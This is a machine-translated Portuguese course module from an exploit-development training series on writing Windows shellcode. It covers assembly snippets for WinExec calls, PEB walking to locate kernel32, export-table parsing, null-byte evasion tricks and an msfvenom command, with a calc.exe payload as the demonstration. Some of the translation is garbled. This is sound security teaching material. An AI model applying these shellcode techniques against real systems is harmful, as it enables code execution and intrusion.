Machine Translated by Google
Código Shell do Windows
Seção 0 2 | M ódulo 0 5
© Caendra Inc. 2019
Todos os direitos reservados
Machine Translated by Google
Índice
MÓDULO 05 | CÓDIGO DE SHELL DO WINDOWS
5.1 Shellcode básico do Windows
5.2 Shellcode universal
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.2
Machine Translated by Google
objetivos de aprendizado
Ao final deste módulo, você deverá ter uma melhor
compreensão de:
ÿ Por que o shellcode é
importante ÿ Como criar diferentes tipos de shellcode
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.3
Machine Translated by Google
5.1
Janelas Básicas
Código Shell
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.4
Machine Translated by Google
5.1 Shellcode básico do Windows
Shellcode é a parte mais importante de cada exploração. No
fundo, ele nos permite executar certas tarefas que a
exploração pretende realizar. Quando você usa o Metasploit
contra qualquer software, a opção PAYLOAD é na verdade
o shellcode com o qual o exploit será armado.
A maneira mais fácil de obter um shellcode para seu exploit é
procurá-lo na web (por exemplo, shellstorm ou cut se for de
exploits existentes) ou simplesmente gerá-lo com msfvenom.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.5
Machine Translated by Google
5.1 Shellcode básico do Windows
Essas opções são bastante autoexplicativas e não requerem
nenhum conhecimento avançado para utilizá-las.
No entanto, pode haver casos em que algumas explorações
não funcionem devido ao comportamento inadequado do
shellcode ou casos em que você precise realizar uma tarefa
incomum por meio do seu shellcode. Para tais casos, você
deve ser capaz de escrever e depurar shellcode manualmente.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.6
Machine Translated by Google
5.1 Shellcode básico do Windows
O próprio Shellcode consiste em opcodes brutos do processador. Não
é nem assembly – são bytes brutos responsáveis pela execução
de certas tarefas. É por isso que ele pode ser colocado em um
buffer do usuário e ao transferir a execução para ele, certas coisas
podem ser realizadas (por exemplo, gerar um cálculo).
Como a linguagem Assembly é a coisa mais próxima da linguagem
de máquina, é a melhor escolha para escrever shellcode. Como
traduzimos assembly em opcodes?
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.7
Machine Translated by Google
5.1 Shellcode básico do Windows
Precisamos de um compilador Assembly. Por exemplo, NASM se
encaixará perfeitamente nessa função. Você pode baixá-lo no link
abaixo: [Link]
Basta escolher a versão adequada ao seu sistema operacional.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.8
Machine Translated by Google
5.1.1 Linguagem de Máquina
Compilar um arquivo Assembly em um arquivo binário que contém
opcodes em linguagem de máquina é fácil e pode ser feito com:
[Link] [Link] -o [Link]
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.9
Machine Translated by Google
5.1.1 Linguagem de Máquina
A próxima etapa é traduzir o arquivo .bin, que é um arquivo binário, em uma
representação hexadecimal dos bytes contidos.
Dessa forma, podemos incorporar convenientemente os opcodes
desejados em uma exploração.
Isso pode ser feito usando uma ferramenta automática.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.10
Machine Translated by Google
5.1.1 Linguagem de Máquina
Felizmente, existe uma variedade dessas ferramentas na
Internet; por
exemplo: [Link]
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.11
Machine Translated by Google
5.1.1 Linguagem de Máquina
Vamos agora compilar um programa Assembly simples (que
não faz nada significativo) apenas com o propósito
de mostrar o processo.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.12
Machine Translated by Google
5.1.1 Linguagem de Máquina
Usando este método, criaremos o shellcode, mas ainda há
algumas coisas a fazer até que esteja realmente funcional.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.13
Machine Translated by Google
5.1.2 Chamando funções do Windows
No Linux, o shellcode pode ser escrito usando certas chamadas de
sistema. Basicamente, precisamos apenas preencher os registros com
determinados valores e chamar um syscall do Linux; syscalls
nos permitem comunicar com as funções integradas do sistema
operacional (chamadas) como read(), write(), system(). No Windows,
escrever shellcode é um pouco mais complicado.
O sistema operacional Windows usa WinAPI para permitir que os
usuários utilizem determinadas funcionalidades. WinAPI é um conjunto
de funções armazenadas em DLLs padrão do sistema.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.14
Machine Translated by Google
5.1.2 Chamando funções do Windows
DLLs (Dynamic-Link Libraries) são arquivos em formato
executável do Windows que contêm funções. Para fazer uso das funções
que uma DLL contém, um aplicativo precisa carregar essa DLL em
seu próprio espaço de endereço.
Da mesma forma que importa o tempo em Python para usar [Link],
você precisa carregar uma DLL para usar as funções que ela contém.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.15
Machine Translated by Google
[Link] Bibliotecas de links dinâmicos
Tecnicamente falando, se uma DLL contém algumas funções que podem ser
utilizadas após o carregamento da biblioteca, dizemos que esta DLL exporta
essas funções.
Para usar as funções exportadas de uma DLL, um programa que deseja
utilizá-las deve:
• Incluir uma biblioteca dll em seu espaço de endereço (carregá-la)
• Chame determinada função pelo seu nome
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.16
Machine Translated by Google
[Link] Bibliotecas de links dinâmicos
Por exemplo, se quisermos chamar o messageBox de um
programa, precisamos que ele:
• Carregar a biblioteca [Link]
• Chame MessageBoxA com argumentos adequados
De uma perspectiva de baixo nível do Assembly – primeiro
algumas instruções devem ser executadas para colocar
os argumentos da função na pilha. Então a função pode ser
chamada, mas é necessário saber seu endereço.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.17
Machine Translated by Google
[Link] Bibliotecas de links dinâmicos
Quando um aplicativo carrega uma biblioteca DLL, ela é mapeada
na memória do aplicativo. Isso significa que ele recebe um determinado
endereço dentro do espaço de endereço desse aplicativo.
Antes do Vista, o Windows não utilizava ASLR, e esse endereço
era sempre o mesmo para determinadas DLLs entre os sistemas
operacionais das mesmas versões de service pack.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.18
Machine Translated by Google
5.1.3 Dentro do Espaço de Endereço do Processo
Cada DLL contém um mapa da função que utiliza. Cada função
está disponível em um determinado deslocamento estático do
endereço base da biblioteca.
O endereço da função em uma DLL é chamado RVA (Relative Virtual
Address). É relativo ao endereço base no qual a DLL pai da função
foi mapeada.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.19
Machine Translated by Google
5.1.3 Dentro do Espaço de Endereço do Processo
Para visualizar o endereço para o qual uma determinada função está
mapeada, podemos usar o depurador de imunidade durante o tempo de
execução do aplicativo. O depurador precisa ser anexado a ele.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.20
Machine Translated by Google
5.1.3 Dentro do Espaço de Endereço do Processo
Selecione “Exibir -> Módulos executáveis” e clique com o botão direito
em uma biblioteca e escolha “Exibir nomes”.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.21
Machine Translated by Google
5.1.3 Dentro do Espaço de Endereço do Processo
Na janela você pode ver todas as
funções que o módulo contém,
junto com seus endereços.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.22
Machine Translated by Google
5.1.3 Dentro do Espaço de Endereço do Processo
Para verificações estáticas, sem iniciar um depurador, você pode usar
a ferramenta Arwin.
Arwin é um software simples que utiliza funções do Windows para localizar
uma biblioteca, carregá-la e obter o endereço da função desejada que
ela contém.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.23
Machine Translated by Google
5.1.3 Dentro do Espaço de Endereço do Processo
Você pode baixá-lo aqui: https://
[Link]/tutorials/expDev/tools/[Link]
Você também pode multar o código-fonte aqui:
[Link]
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.24
Machine Translated by Google
5.1.3 Dentro do Espaço de Endereço do Processo
Podemos usar a ferramenta pré-compilada do primeiro URL.
Veja um exemplo de como o Arwin pode ser usado abaixo.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.25
Machine Translated by Google
5.1.4 Ordem dos Argumentos
Quando uma função é chamada em uma aplicação, podemos
ver no depurador que antes da chamada da função seus
argumentos são colocados na pilha junto com o endereço de retorno.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.26
Machine Translated by Google
5.1.4 Ordem dos Argumentos
Se quisermos chamar uma função do sistema da perspectiva do
Assembly, precisamos emular esta situação usando instruções push.
Por exemplo, a pilha deve ficar assim:
[ESP +] [ENDEREÇO DE RETORNO]
[ESP + 4] [PRIMEIRO ARGUMENTO]
[ESP + 8] [SEGUNDO ARGUMENTO]
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.27
Machine Translated by Google
5.1.4 Ordem dos Argumentos
Quando os argumentos estão na pilha, o EIP deve apontar para
a função de destino. Então a função será chamada com os
parâmetros adequados.
Do ponto de vista do shellcode, deve ser semelhante a:
push Second_ARG push
First_ARG push
Return_address
função de chamada
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.28
Machine Translated by Google
[Link] O problema com strings
Assembly nos permite colocar um certo número na pilha, mas
não strings. A maioria das funções requer ponteiros para strings
como parâmetro.
Para obter um ponteiro para uma string podemos:
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.29
Machine Translated by Google
[Link] O problema com strings
1. Encontre uma ocorrência da string desejada na memória e lembre-se
de seu endereço.
2. Coloque a string na pilha e salve um ponteiro nela.
O segundo método é muito mais confiável e será preferido durante
o desenvolvimento do shellcode.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.30
Machine Translated by Google
[Link] O problema com strings
Por exemplo, vamos considerar a seguinte montagem:
XOR EBX, EBX; EBX agora é igual a 0
PRESSIONE EBX; empurre 0 para a pilha.
PRESSIONE \x2e\x65\x78\x65; “.exe” - devido ao endianismo, empurramos primeiro o final da string.
PRESSIONE \x63\x61\x6c\x63; “calc”, o início da string.
MOV ECX, ESP; Salve o valor atual do ESP no ECX. O valor atual de ESP é o endereço
do início da string terminada em nulo “[Link]”. Como não diminuiremos a pilha entre o
shellcode, este endereço permanecerá o mesmo
para que possamos salvá-lo no ECX.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.31
Machine Translated by Google
5.1.5 Escrevendo Shellcode
Vamos agora tentar criar um shellcode simples usando os
exemplos mencionados acima. O shellcode será baseado
em WinExec().
Winexec() é uma função popular entre os desenvolvedores de shellcode.
Funciona de maneira semelhante a system() no Linux. Ele executa
programas do Windows fornecidos em seus argumentos da
mesma forma que você os digitaria em uma linha cmd.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.32
Machine Translated by Google
5.1.5 Escrevendo Shellcode
Você pode ler mais sobre esta função no site da Microsoft.
[Link]
windows/win32/api/winbase/nf-winbase-winexec
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.33
Machine Translated by Google
[Link] Testando Shellcode
A última coisa que precisamos para escrever um shellcode funcional
é emular um estouro de pilha.
Durante a exploração de estouro de pilha, escrevemos diretamente
na memória do programa. Podemos obter o mesmo efeito usando C/C+
+ no Windows.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.34
Machine Translated by Google
[Link] Testando Shellcode
Considere o seguinte código.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.35
Machine Translated by Google
[Link] Testando Shellcode
Tudo o que esse código faz é alocar uma parte da memória, torná-la
executável, copiar o shellcode naquele local e então começar a
executá-lo.
Vale a pena ter esse aplicativo com a finalidade de testar o
shellcode antes de ser implementado em explorações. É útil ao
depurar um exploit, quando você precisa ter certeza de que seu
shellcode funciona conforme o esperado.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.36
Machine Translated by Google
[Link] Testando Shellcode
Vamos tentar colar um shellcode gerado pelo msfvenom no referido
programa e compilá-lo em Dev-c++. Você pode usar qualquer compilador
de sua preferência, embora neste caso usaremos Dev-c++.
Precisamos excluir zeros, pois isso encerrará nossa string, portanto,
marcaremos instantaneamente como um caractere inválido na geração.
msfvenom -p windows/exec cmd=[Link] exitfunc=thread -fc -b "\x00"
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.37
Machine Translated by Google
[Link] Testando Shellcode
Vamos executar o programa compilado:
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.38
Machine Translated by Google
[Link] Testando Shellcode
Ótimo! Parece que o shellcode
funciona conforme o esperado.
Como agora temos todas as
ferramentas necessárias, vamos escrever o
shellcode do zero.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.39
Machine Translated by Google
[Link] Shellcode básico
Primeiro, precisamos descobrir o endereço Winexec(). Isso pode
ser feito usando o Arwin, como segue.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.40
Machine Translated by Google
[Link] Shellcode básico
Outra coisa a lembrar é que quando colocamos strings na pilha,
precisamos colocá-las na ordem inversa devido ao endianismo. Então,
quando quisermos pressionar “[Link]\0”, na verdade deveríamos :
• Pressione 0
• Pressione “exe”.
• Pressione “clac”
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.41
Machine Translated by Google
[Link] Shellcode básico
O código Assembly que executa calc por meio de Winexec()
pode ser escrito da seguinte maneira.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.42
Machine Translated by Google
[Link] Shellcode básico
Depois de executar calc, ele sai suavemente usando
a função ExitProcess(). Agora vamos compilá-lo usando Nasm.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.43
Machine Translated by Google
[Link] Shellcode básico
Em seguida, extrairemos os opcodes usando bin2sc, como segue.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.44
Machine Translated by Google
[Link] Shellcode básico
Agora, vamos copiar os opcodes para o testador de shellcode e
compilá-los.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.45
Machine Translated by Google
[Link] Shellcode básico
A execução do programa compilado fornece o seguinte resultado.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.46
Machine Translated by Google
[Link] Uma saída elegante
Estamos quase terminando. A última coisa que precisa ser
feita é fazer com que o shellcode saia normalmente, em vez de
causar uma falha de segmentação confusa.
Adicionaremos outra parte do shellcode após a execução do
cálculo. Primeiro, vamos encontrar o endereço de ExitProcess()
usando Arwin, como segue.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.47
Machine Translated by Google
[Link] Uma saída elegante
Queremos que o processo retorne 0, então precisamos
colocar 0 na pilha antes de chamar ExitProcess().
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.48
Machine Translated by Google
[Link] Uma saída elegante
Vamos compilá-lo e extrair os opcodes.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.49
Machine Translated by Google
[Link] Uma saída elegante
Em seguida, iremos adicioná-lo ao “testador de shellcode” e executar
o programa compilado.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.50
Machine Translated by Google
[Link] Uma saída elegante
Agora o aplicativo não exibe
nenhum erro – vemos apenas
calc sendo executado.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.51
Machine Translated by Google
5.2
Shellcode universal
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.52
Machine Translated by Google
5.2 Shellcode universal
O shellcode que acabamos de introduzir é pequeno e não produz corrupção
de memória ao sair. No entanto, também tem algumas desvantagens.
O principal problema é que esse shellcode contém endereços
codificados, o que significa que ele só pode ser usado em uma
determinada versão do sistema – neste caso, o Windows XP SP1.
Conforme mencionado anteriormente, todas as DLLs do sistema são
carregadas em endereços estáticos no mesmo nível de service pack.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.53
Machine Translated by Google
5.2 Shellcode Universal
Devido a isso, o shellcode que funciona no XP SP1 não pode ser
usado no SP2 ou SP3.
Nosso próximo passo será criar um shellcode universal que será
executado em qualquer service pack sem endereços codificados.
Como isso pode ser feito?
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.54
Machine Translated by Google
5.2.1 Sistema Estruturado
O Windows é um sistema muito bem organizado. Cada processo, além
dos dados do programa, também contém alguns elementos de controle do
Sistema Operacional.
Esses elementos são dados organizados em estruturas.
Estruturas são tipos de dados C/C++, semelhantes a arrays.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.55
Machine Translated by Google
5.2.1 Sistema Estruturado
Algumas das estruturas são documentadas pela Microsoft em seu
site oficial.
Outra parte deles foi revertida por outras pessoas e organizações e
disponibilizada publicamente. Essas estruturas são chamadas de
“não documentadas” porque oficialmente não há documentação
disponível para elas.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.56
Machine Translated by Google
5.2.1 Sistema Estruturado
As estruturas armazenam os dados de maneira organizada – são como
tabelas em um banco de dados. Cada campo de uma estrutura
pode ser de um tipo diferente, mas devem ser predefinidos.
Como você já sabe, cada tipo de dados possui um tamanho específico
em bytes que não pode ser excedido. Saber quais tipos de dados são
membros (campos) de uma estrutura fornece informações sobre
quando um determinado campo começa e termina, e indo além –
em qual deslocamento do início da estrutura um determinado campo pode
ser encontrado.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.57
Machine Translated by Google
5.2.1 Sistema Estruturado
Ao contrário de um banco de dados onde todos os tipos de dados são
conhecidos como varchar, timestamp, int, etc., os tipos de dados nas
estruturas do Windows são, na maioria dos casos, personalizados.
Eles foram criados pela Microsoft, portanto é perfeitamente normal que uma
estrutura consista em tipos de dados que possam ser novos para você. A única
maneira de saber qual quantidade de memória é necessária para armazenar
um determinado tipo de dados é ler a documentação ou, se não
estiver presente, tentar fazer engenharia reversa da estrutura.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.58
Machine Translated by Google
5.2.1 Sistema Estruturado
Felizmente, neste módulo, contaremos com estruturas já revertidas
ou documentadas.
O tamanho ou nome específico de cada um deles pode ser diferente dos
tipos de dados C/C++ usuais, mas se você quiser se sentir
confortável com a depuração e exploração de um ambiente
Windows, você deve se acostumar com eles.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.59
Machine Translated by Google
5.2.1 Sistema Estruturado
Muitas estruturas estão aninhadas umas nas outras – na verdade, o
Windows é construído sobre elas.
Você verá nos próximos slides que existem estruturas que contêm estruturas
que contêm outras estruturas... e todas elas são usadas para construir
uma base funcional e bem organizada para executar um processo
no ambiente Windows.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.60
Machine Translated by Google
5.2.2 Percorrendo os metadados
Da mesma forma que as informações do manipulador de exceções, que
costumavam ser armazenadas em FS:[0], existem outras informações
interessantes armazenadas na memória do processo.
Uma dessas estruturas interessantes é o Process Environment Block (PEB).
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.61
Machine Translated by Google
5.2.2 Percorrendo os metadados
Sua estrutura pode ser
definida da seguinte forma.
[Link] XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.62
Machine Translated by Google
5.2.2 Percorrendo os Metadados
Os campos denominados “Reservados” não estão documentados.
No entanto, a única coisa interessante aqui por enquanto são os
deslocamentos e os tamanhos dos tipos de dados. Se conseguirmos encontrar
o início de uma estrutura e conhecermos os deslocamentos, poderemos navegar
para qualquer campo que ela contenha - mesmo que esteja aninhado bem no fundo.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.63
Machine Translated by Google
5.2.2 Percorrendo os metadados
A ideia por trás de todas essas informações detalhadas sobre
estruturas é que se conseguirmos acessar o PEB, descobriu- se que é
possível obter o endereço de algumas bibliotecas e funções nelas contidas.
Assim, será possível emular o Arwin durante o tempo de execução
e recuperar o endereço atual de certas funções em vez de codificá-
las.
Então, eles podem ser usados posteriormente dentro do shellcode.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.64
Machine Translated by Google
5.2.2 Percorrendo os Metadados
A desvantagem é que o shellcode aumentará de tamanho.
A vantagem é que ele se tornará universal e poderá ser usado em todos
os service packs de determinados sistemas operacionais Windows.
Apresentaremos em breve onde estão alguns dados interessantes a partir
do endereço do PEB. Em seguida, prosseguiremos para transformá-lo em
shellcode real.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.65
Machine Translated by Google
5.2.2 Percorrendo os metadados
As estruturas do Windows podem ser percorridas da seguinte maneira:
• O endereço PEB é mantido no Thread Environment Block, 0x30
bytes desde o início. O endereço do TEB é mantido no
registrador do segmento FS e pode ser codificado em shell
(para sabermos o ponto de partida).
• PEB + 0xC Bytes contém o ponteiro para PEB_LDR_DATA, que
contém informações sobre DLLs carregadas, na forma de uma
lista duplamente vinculada.
[Link] XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.66
Machine Translated by Google
5.2.2 Percorrendo os metadados
• Em PEB_LDR_DATA, 0x14 bytes desde seu início existe um
ponteiro para a primeira DLL carregada na memória em
uma lista chamada InMemoryOrderModuleList.
• No Windows XP (todos os service packs), [Link] e
[Link] reside na segunda e terceira entradas,
respectivamente. Lembra da ferramenta Arwin que utilizava
funções [Link] para obter dados sobre o endereço
de uma função? Podemos fazer o mesmo na Assembleia.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.67
Machine Translated by Google
5.2.2 Percorrendo os metadados
Isso pode ser conseguido usando o seguinte código Assembly.
mov ebx, fs:0x30 ; Obter ponteiro para PEB
mov ebx, [ebx + 0x0C] ; Obtenha o ponteiro para PEB_LDR_DATA
mov ebx, [ebx + 0x14] ; Obtenha o ponteiro para a primeira entrada em InMemoryOrderModuleList
mov ebx, [ebx] ; Obtenha o ponteiro para a segunda entrada ([Link]) em InMemoryOrderModuleList
mov ebx, [ebx] ; Obtenha o ponteiro para a terceira entrada ([Link]) em InMemoryOrderModuleList
mov ebx, [ebx + 0x10] ; Obtenha o endereço base [Link]
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.68
Machine Translated by Google
5.2.2 Percorrendo os metadados
O código do slide anterior, quando compilado, tem uma grande
desvantagem – contém bytes nulos.
Portanto, não pode ser colocado em nenhum buffer de exploração.
Para nos livrarmos deles, precisamos refatorar um pouco o código.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.69
Machine Translated by Google
5.2.2 Percorrendo os metadados
Felizmente, não é tão complicado.
xor esi, esi ; esi = 0
mov ebx, [fs:30h + esi] ; escrito desta forma para evitar bytes nulos
mov ebx, [ebx + 0x0C]
mov ebx, [ebx + 0x14]
mov ebx, [ebx]
mov ebx, [ebx]
mov ebx, [ebx + 0x10] ; ebx contém endereço base [Link]
mov [ebp-8], ebx ; var8 = endereço base [Link]
O resultado do shellcode acima é o endereço de [Link]
sendo armazenado no registro ebx. Vamos agora
descobrir como podemos encontrar o endereço WinExec() usando-o
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.70
Machine Translated by Google
5.2.3 Endereço Base da Função
Um arquivo DLL, uma biblioteca de vínculo dinâmico, é um arquivo no
formato PE (Portable Executable). Novamente, este formato de
arquivo possui alguns metadados estruturados que podem ser percorridos
para obter informações interessantes.
Ao falar sobre uma imagem de arquivo executável PE, podemos usar o
termo RVA (Relative Virtual Address). RVA é o endereço relativo ao
início da imagem do arquivo, portanto , essencialmente, o
deslocamento do endereço base. Além disso, ao falar sobre DLLs, o
termo “Exportar” será frequentemente usado.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.71
Machine Translated by Google
5.2.3 Endereço Base da Função
Resumindo, as funções de exportação de DLL são as funções que ela
contém, que podem ser utilizadas ao carregar a biblioteca na memória do
processo.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.72
Machine Translated by Google
[Link] Percorrendo mais metadados
No formato PE existem as seguintes estruturas:
• No RVA 0x78 (offset do início da imagem do arquivo) a Tabela de
Exportação é armazenada. A Tabela de Exportação contém
informações sobre todas as funções contidas na DLL.
• Exportar tabela + 0x14 contém diversas funções que a DLL
exporta.
• Tabela de exportação + 0x1C é a tabela de endereços que contém
todos os endereços das funções exportadas.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.73
Machine Translated by Google
[Link] Percorrendo mais metadados
• Export Table + 0x20 é a Name Pointer Table, onde são armazenados
ponteiros para os nomes das funções exportadas .
• Export Table + 0x24 é a Tabela Ordinal, onde são armazenadas as
posições das funções na Tabela de Endereços.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.74
Machine Translated by Google
[Link] Percorrendo mais metadados
Vamos tentar descobrir o que exatamente é necessário para obter o endereço
de uma determinada função.
• Primeiro, encontramos o deslocamento da assinatura PE (RVA) (endereço
base + 0x3c).
• Encontramos então o endereço da assinatura PE (endereço base +
RVA).
• A seguir encontramos o RVA da Tabela de Exportação (assinatura PE +
0x78).
• Com base no RVA, encontramos o endereço da Tabela de Exportação
(endereço base + RVA da tabela de exportação).
• Em seguida encontramos o RVA da tabela de endereços (tabela de exportação +
0x1C).
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.75
Machine Translated by Google
[Link] Percorrendo mais metadados
• A seguir, encontramos o endereço da Tabela de Endereços (endereço base + RVA da
tabela de endereços).
• Em seguida, encontre o RVA da Name Pointer Table (tabela de exportação +
0x20).
• Em seguida, encontre o Endereço da Tabela de Ponteiros de Nomes ( endereço
base + RVA da Tabela de Ponteiros de Nomes).
• As duas últimas etapas serão encontrar o RVA da Tabela Ordinal
(Tabela de Exportação + 0x24).
• Depois calcularemos o endereço da Tabela Ordinal (usando
endereço base + RVA da tabela ordinal).
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.76
Machine Translated by Google
[Link] Percorrendo mais metadados
Em seguida, precisamos criar um loop. O loop passará pela tabela
de ponteiros de nomes (já que temos seu endereço) e comparará
cada entrada com a string “WinExec” enquanto lembra o índice
na tabela do item atualmente verificado.
Quando terminar, precisamos encontrar um índice da
função WinExec na Tabela Ordinal (Endereço do Ordinal +
(índice *2)) – pois cada registro na tabela tem 2 bytes de tamanho.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.77
Machine Translated by Google
[Link] Percorrendo mais metadados
Usando o número ordinal, vamos da Tabela de Endereços para a
posição Tabela de Endereços + (Número Ordinal * 4), pois cada
entrada da Tabela Ordinal tem 4 bytes de tamanho.
Conhecendo o RVA, podemos encontrar o endereço da função
adicionando o RVA ao endereço base da DLL.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.78
Machine Translated by Google
[Link] Mitigando bytes nulos únicos
Vamos começar colocando a string “WinExec” na pilha.
Precisaremos lembrar sua localização e usá-la como referência para um
nome que deverá ser encontrado na DLL.
Se você tentar simplesmente xor esi e, em seguida, pressionar esi que
contém 0 após a operação xor e, em seguida, pressionar
a string “WinExec”, você acabará lidando com bytes nulos. Como a pilha
está alinhada em 4 bytes, não podemos simplesmente enviar Winexec,
que tem 7 bytes.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.79
Machine Translated by Google
[Link] Mitigando bytes nulos únicos
Se você fizer xor de um registrador consigo mesmo e então pressioná-lo, um registrador
de tamanho inteiro será enviado (0x00000000), enquanto precisamos apenas de
um “00”.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.80
Machine Translated by Google
[Link] Mitigando bytes nulos únicos
Assim, usaremos um truque para colocar a string WinExec\00 na pilha.
Devido ao endianness, podemos realmente enviar push:
\x00cex primeiro e depois pressione
EniW
Portanto, só precisamos nos preocupar com o primeiro empurrão. Não
podemos pressionar 0 diretamente, mas como ASCII é uma das maneiras
pelas quais os bytes brutos são interpretados, podemos simplesmente enviar
alguns números que representam caracteres ASCII.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.81
Machine Translated by Google
[Link] Mitigando bytes nulos únicos
Se tentarmos enviar 0x00636578 (\x00cex), lidaremos com bytes
nulos novamente.
Mas podemos enviar um número que é incrementado por um valor
de escolha (que não contém bytes nulos).
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.82
Machine Translated by Google
[Link] Mitigando bytes nulos únicos
Por exemplo, podemos escolher 0x01010101. Vamos adicioná-
lo ao valor acima, o que resulta em:
0x00636578 (\x00cex) +
0x01010101
--------------------
0x01646679
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.83
Machine Translated by Google
[Link] Mitigando bytes nulos únicos
Então, agora
precisamos: • mov reg,
0x01646679 • sub reg,
0x01010101 • push reg
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.84
Machine Translated by Google
[Link] Mitigando bytes nulos únicos
Usando este método, podemos colocar bytes nulos únicos na
pilha, contrabandeando-os dentro da aritmética simples.
Dessa forma, muitas restrições de caracteres inválidos podem
ser evitadas colocando valores “seguros” em um registro,
modificando-os usando aritmética para que reflitam os valores
ASCII desejados e, no final, colocando-os na pilha.
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.85
Machine Translated by Google
[Link] Mitigando bytes nulos únicos
O código para enviar winexec será semelhante ao abaixo.
xor esi, esi
mov esi, 0x01646679 sub esi,
0x01010101 push esi; truque
de byte nulo push 456e6957h
mov [ebp-4], esp ; var4 = "WinExec\x00"
XDSv1: Seção 2, Módulo 5 - Caendra Inc. © 2019 | pág.86
Machine Translated by Google
[Link] Buscando a Função
